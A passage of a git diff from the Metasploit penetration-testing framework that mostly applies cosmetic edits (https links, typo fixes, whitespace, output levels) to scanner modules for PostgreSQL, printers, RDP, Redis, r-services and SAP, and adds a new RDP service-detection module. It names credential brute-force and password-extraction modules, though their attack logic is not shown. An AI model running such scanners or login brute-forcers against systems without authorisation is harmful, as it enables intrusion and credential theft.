+        print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
       else
         invalidate_login(credential_data)
         vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
diff --git a/modules/auxiliary/scanner/postgres/postgres_schemadump.rb b/modules/auxiliary/scanner/postgres/postgres_schemadump.rb
index 710880fba8..b954b037c8 100644
--- a/modules/auxiliary/scanner/postgres/postgres_schemadump.rb
+++ b/modules/auxiliary/scanner/postgres/postgres_schemadump.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Postgres
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -95,7 +92,7 @@ class MetasploitModule < Msf::Auxiliary
     # Error handling routine here, borrowed heavily from todb
     case res.keys[0]
     when :conn_error
-      print_error("A Connection Error occured")
+      print_error("A Connection Error Occurred")
       return
     when :sql_error
       case res[:sql_error]
diff --git a/modules/auxiliary/scanner/postgres/postgres_version.rb b/modules/auxiliary/scanner/postgres/postgres_version.rb
index 92ac561ab0..20b95e7c14 100644
--- a/modules/auxiliary/scanner/postgres/postgres_version.rb
+++ b/modules/auxiliary/scanner/postgres/postgres_version.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Postgres
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -15,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
     super(update_info(info,
       'Name'           => 'PostgreSQL Version Probe',
       'Description'    => %q{
-        Enumerates the verion of PostgreSQL servers.
+        Enumerates the version of PostgreSQL servers.
       },
       'Author'         => [ 'todb' ],
       'License'        => MSF_LICENSE,
@@ -88,7 +86,7 @@ class MetasploitModule < Msf::Auxiliary
         vprint_good "#{rhost}:#{rport} Postgres - Logged in to '#{database}' with '#{user}':'#{password}'"
         print_status "#{rhost}:#{rport} Postgres - Version #{result[:auth]} (Post-Auth)"
       elsif result[:preauth]
-        print_status "#{rhost}:#{rport} Postgres - Version #{result[:preauth]} (Pre-Auth)"
+        print_good "#{rhost}:#{rport} Postgres - Version #{result[:preauth]} (Pre-Auth)"
       else # It's something we don't know yet
         vprint_status "#{rhost}:#{rport} Postgres - Authentication Error Fingerprint: #{result[:unknown]}"
         print_status "#{rhost}:#{rport} Postgres - Version Unknown (Pre-Auth)"
@@ -133,5 +131,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb b/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb
index 1ed1ec6925..908c86378c 100644
--- a/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb
+++ b/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb
@@ -1,10 +1,9 @@
-#
-# This module requires Metasploit: http://metasploit.com/download
+##
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -139,7 +138,7 @@ class MetasploitModule < Msf::Auxiliary
     loot_filename = "Canon-addressbook.text"
     loot_desc     = "Canon Addressbook Harvester"
     p = store_loot(loot_name, loot_type, datastore['RHOST'], address_book , loot_filename, loot_desc)
-    print_status("Credentials saved in: #{p}")
+    print_good("Credentials saved in: #{p}")
 
     harvest_ldif(address_book, ip)
   end
@@ -209,5 +208,4 @@ class MetasploitModule < Msf::Auxiliary
       users << user_attributes
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/printer/printer_delete_file.rb b/modules/auxiliary/scanner/printer/printer_delete_file.rb
index da51a5ec05..33dd85d164 100644
--- a/modules/auxiliary/scanner/printer/printer_delete_file.rb
+++ b/modules/auxiliary/scanner/printer/printer_delete_file.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require "rex/proto/pjl"
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -53,5 +52,4 @@ class MetasploitModule < Msf::Auxiliary
     pjl.end_job
     disconnect
   end
-
 end
diff --git a/modules/auxiliary/scanner/printer/printer_download_file.rb b/modules/auxiliary/scanner/printer/printer_download_file.rb
index 893d799609..7e3fee0e5b 100644
--- a/modules/auxiliary/scanner/printer/printer_download_file.rb
+++ b/modules/auxiliary/scanner/printer/printer_download_file.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require "rex/proto/pjl"
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -62,5 +61,4 @@ class MetasploitModule < Msf::Auxiliary
       print_good("#{ip}:#{rport} - Saved #{path} as #{res}")
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/printer/printer_env_vars.rb b/modules/auxiliary/scanner/printer/printer_env_vars.rb
index b7bdec6973..c17e29348f 100644
--- a/modules/auxiliary/scanner/printer/printer_env_vars.rb
+++ b/modules/auxiliary/scanner/printer/printer_env_vars.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require "rex/proto/pjl"
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -57,5 +56,4 @@ class MetasploitModule < Msf::Auxiliary
       )
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/printer/printer_list_dir.rb b/modules/auxiliary/scanner/printer/printer_list_dir.rb
index 281b3bb223..126827955f 100644
--- a/modules/auxiliary/scanner/printer/printer_list_dir.rb
+++ b/modules/auxiliary/scanner/printer/printer_list_dir.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require "rex/proto/pjl"
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -61,5 +60,4 @@ class MetasploitModule < Msf::Auxiliary
       )
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/printer/printer_list_volumes.rb b/modules/auxiliary/scanner/printer/printer_list_volumes.rb
index 1b006e748d..405d3e18fd 100644
--- a/modules/auxiliary/scanner/printer/printer_list_volumes.rb
+++ b/modules/auxiliary/scanner/printer/printer_list_volumes.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require "rex/proto/pjl"
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -58,5 +57,4 @@ class MetasploitModule < Msf::Auxiliary
       )
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/printer/printer_ready_message.rb b/modules/auxiliary/scanner/printer/printer_ready_message.rb
index 1d45cf2946..d985fe97d8 100644
--- a/modules/auxiliary/scanner/printer/printer_ready_message.rb
+++ b/modules/auxiliary/scanner/printer/printer_ready_message.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require "rex/proto/pjl"
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -71,5 +70,4 @@ class MetasploitModule < Msf::Auxiliary
       )
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/printer/printer_upload_file.rb b/modules/auxiliary/scanner/printer/printer_upload_file.rb
index 9f0634e9da..e847b04677 100644
--- a/modules/auxiliary/scanner/printer/printer_upload_file.rb
+++ b/modules/auxiliary/scanner/printer/printer_upload_file.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require "rex/proto/pjl"
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -56,5 +55,4 @@ class MetasploitModule < Msf::Auxiliary
     pjl.end_job
     disconnect
   end
-
 end
diff --git a/modules/auxiliary/scanner/printer/printer_version_info.rb b/modules/auxiliary/scanner/printer/printer_version_info.rb
index 3826794214..33bca13e68 100644
--- a/modules/auxiliary/scanner/printer/printer_version_info.rb
+++ b/modules/auxiliary/scanner/printer/printer_version_info.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require "rex/proto/pjl"
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -57,5 +56,4 @@ class MetasploitModule < Msf::Auxiliary
       )
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/quake/server_info.rb b/modules/auxiliary/scanner/quake/server_info.rb
index e70519e39f..373bd87a61 100644
--- a/modules/auxiliary/scanner/quake/server_info.rb
+++ b/modules/auxiliary/scanner/quake/server_info.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/rdp/ms12_020_check.rb b/modules/auxiliary/scanner/rdp/ms12_020_check.rb
index d8c4510f1a..7792ffc90d 100644
--- a/modules/auxiliary/scanner/rdp/ms12_020_check.rb
+++ b/modules/auxiliary/scanner/rdp/ms12_020_check.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -194,5 +193,4 @@ class MetasploitModule < Msf::Auxiliary
       print_status("#{ip}:#{rport} - #{status[1]}")
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/rdp/rdp_scanner.rb b/modules/auxiliary/scanner/rdp/rdp_scanner.rb
new file mode 100644
index 0000000000..be27d35c99
--- /dev/null
+++ b/modules/auxiliary/scanner/rdp/rdp_scanner.rb
@@ -0,0 +1,104 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Auxiliary::Scanner
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'           => 'Identify endpoints speaking the Remote Desktop Protocol (RDP)',
+        'Description'    => %q(
+          This module attempts to connect to the specified Remote Desktop Protocol port
+          and determines if it speaks RDP.
+        ),
+        'Author'         => 'Jon Hart <jon_hart[at]rapid7.com>',
+        'References'     =>
+          [
+            ['URL', 'https://msdn.microsoft.com/en-us/library/cc240445.aspx']
+          ],
+        'License'        => MSF_LICENSE
+      )
+    )
+
+    register_options(
+      [
+        Opt::RPORT(3389),
+        OptBool.new('TLS', [true, 'Wheter or not request TLS security', true]),
+        OptBool.new('CredSSP', [true, 'Whether or not to request CredSSP', true]),
+        OptBool.new('EarlyUser', [true, 'Whether to support Earlier User Authorization Result PDU', false])
+      ]
+    )
+  end
+
+  # any TPKT v3 + x.2224 COTP Connect Confirm
+  RDP_RE = /^\x03\x00.{3}\xd0.{5}.*$/
+  def rdp?
+    sock.put(@probe)
+    response = sock.get_once(-1)
+    if response
+      if RDP_RE.match(response)
+        # XXX: it might be helpful to decode the response and show what was selected.
+        print_good("Identified RDP")
+        return true
+      else
+        vprint_status("No match for '#{Rex::Text.to_hex_ascii(response)}'")
+      end
+    else
+      vprint_status("No response")
+    end
+  end
+
+  def setup
+    # build a simple TPKT v3 + x.224 COTP Connect Request.  optionally append
+    # RDP negotiation request with TLS, CredSSP and Early User as requesteste
+    requested_protocols = 0
+    if datastore['TLS']
+      requested_protocols = requested_protocols ^ 0b1
+    end
+    if datastore['CredSSP']
+      requested_protocols = requested_protocols ^ 0b10
+    end
+    if datastore['EarlyUser']
+      requested_protocols = requested_protocols ^ 0b1000
+    end
+
+    if requested_protocols == 0
+      tpkt_len = 11
+      cotp_len = 6
+      pack = [ 3, 0, tpkt_len, cotp_len, 0xe0, 0, 0, 0 ]
+      pack_string = "CCnCCnnC"
+    else
+      tpkt_len = 19
+      cotp_len = 14
+      pack  = [ 3, 0, tpkt_len, cotp_len, 0xe0, 0, 0, 0, 1, 0, 8, 0, requested_protocols ]
+      pack_string = "CCnCCnnCCCCCV"
+    end
+    @probe = pack.pack(pack_string)
+  end
+
+  def run_host(_ip)
+    begin
+      connect
+      return unless rdp?
+    rescue Rex::AddressInUse, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, \
+           ::Errno::ETIMEDOUT, ::Timeout::Error, ::EOFError => e
+      vprint_error("error while connecting and negotiating RDP: #{e}")
+      return
+    ensure
+      disconnect
+    end
+
+    report_service(
+      host: rhost,
+      port: rport,
+      proto: 'tcp',
+      name: 'RDP'
+    )
+  end
+end
diff --git a/modules/auxiliary/scanner/redis/file_upload.rb b/modules/auxiliary/scanner/redis/file_upload.rb
index e1eaea857a..40108f1cfe 100644
--- a/modules/auxiliary/scanner/redis/file_upload.rb
+++ b/modules/auxiliary/scanner/redis/file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/redis/redis_login.rb b/modules/auxiliary/scanner/redis/redis_login.rb
index ff3c1551bf..138a07d5b0 100644
--- a/modules/auxiliary/scanner/redis/redis_login.rb
+++ b/modules/auxiliary/scanner/redis/redis_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -7,7 +7,6 @@ require 'metasploit/framework/login_scanner/redis'
 require 'metasploit/framework/credential_collection'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -76,9 +75,9 @@ class MetasploitModule < Msf::Auxiliary
         create_credential_login(credential_data)
 
         if datastore['VERBOSE']
-          vprint_good "#{peer} - LOGIN SUCCESSFUL: #{result.credential} (#{result.status}: #{result.proof})"
+          vprint_good "#{peer} - Login Successful: #{result.credential} (#{result.status}: #{result.proof})"
         else
-          print_good "#{peer} - LOGIN SUCCESSFUL: #{result.credential}"
+          print_good "#{peer} - Login Successful: #{result.credential}"
         end
       when Metasploit::Model::Login::Status::NO_AUTH_REQUIRED
         vprint_error "#{peer} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
diff --git a/modules/auxiliary/scanner/redis/redis_server.rb b/modules/auxiliary/scanner/redis/redis_server.rb
index 939657fc97..dcda160f0d 100644
--- a/modules/auxiliary/scanner/redis/redis_server.rb
+++ b/modules/auxiliary/scanner/redis/redis_server.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/rogue/rogue_recv.rb b/modules/auxiliary/scanner/rogue/rogue_recv.rb
index 8c34affcc9..749d72fb1b 100644
--- a/modules/auxiliary/scanner/rogue/rogue_recv.rb
+++ b/modules/auxiliary/scanner/rogue/rogue_recv.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Capture
 
   def initialize
@@ -73,5 +72,4 @@ class MetasploitModule < Msf::Auxiliary
     end
     return reply
   end
-
 end
diff --git a/modules/auxiliary/scanner/rogue/rogue_send.rb b/modules/auxiliary/scanner/rogue/rogue_send.rb
index 9e83457b94..63a794bc0c 100644
--- a/modules/auxiliary/scanner/rogue/rogue_send.rb
+++ b/modules/auxiliary/scanner/rogue/rogue_send.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Capture
   include Msf::Auxiliary::Scanner
 
diff --git a/modules/auxiliary/scanner/rservices/rexec_login.rb b/modules/auxiliary/scanner/rservices/rexec_login.rb
index 149288f925..045f3264b6 100644
--- a/modules/auxiliary/scanner/rservices/rexec_login.rb
+++ b/modules/auxiliary/scanner/rservices/rexec_login.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
@@ -185,5 +184,4 @@ class MetasploitModule < Msf::Auxiliary
 
     start_session(self, "rexec #{user}:#{pass} (#{host}:#{port})", merge_me)
   end
-
 end
diff --git a/modules/auxiliary/scanner/rservices/rlogin_login.rb b/modules/auxiliary/scanner/rservices/rlogin_login.rb
index 23b9e19d3a..7f0f79ad05 100644
--- a/modules/auxiliary/scanner/rservices/rlogin_login.rb
+++ b/modules/auxiliary/scanner/rservices/rlogin_login.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
@@ -330,5 +329,4 @@ class MetasploitModule < Msf::Auxiliary
     start_session(self, info, merge_me)
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/rservices/rsh_login.rb b/modules/auxiliary/scanner/rservices/rsh_login.rb
index a6274c5fa8..51cd447655 100644
--- a/modules/auxiliary/scanner/rservices/rsh_login.rb
+++ b/modules/auxiliary/scanner/rservices/rsh_login.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
@@ -270,5 +269,4 @@ class MetasploitModule < Msf::Auxiliary
 
     start_session(self, "RSH #{user} from #{luser} (#{host}:#{port})", merge_me)
   end
-
 end
diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb
index 9df64bdbc0..0680e332e3 100644
--- a/modules/auxiliary/scanner/rsync/modules_list.rb
+++ b/modules/auxiliary/scanner/rsync/modules_list.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb b/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb
index 516735da26..07b60f14c2 100644
--- a/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb
+++ b/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb
index 737af2ccb7..04d7695d07 100644
--- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb
+++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rexml/document'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_icf_public_info.rb b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb
index 6b21df0c10..f3485be258 100644
--- a/modules/auxiliary/scanner/sap/sap_icf_public_info.rb
+++ b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,6 @@
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb b/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb
index a3930ae61e..374006d16d 100644
--- a/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb
+++ b/modules/auxiliary/scanner/sap/sap_icm_urlscan.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb
index b203932742..6cdfe44225 100644
--- a/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb
+++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_abaplog.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb
index 05cf1e0627..f3d9dd4947 100644
--- a/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb
+++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb
index e7058afff3..19f8ad12a2 100644
--- a/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb
+++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_extractusers.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb
index b53f689da7..ec5ac6d1ff 100644
--- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb
+++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb
index 46b1e49b63..88a89bfe62 100644
--- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb
+++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getenv.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb
index 4dc1db123c..f579ca4953 100644
--- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb
+++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getlogfiles.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb
index 1fb45cbcff..93f88f8e2d 100644
--- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb
+++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb
index 5c9416f8c8..a447840597 100644
--- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb
+++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb
index 1d8315c9e3..52e878fa13 100644
--- a/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb
+++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
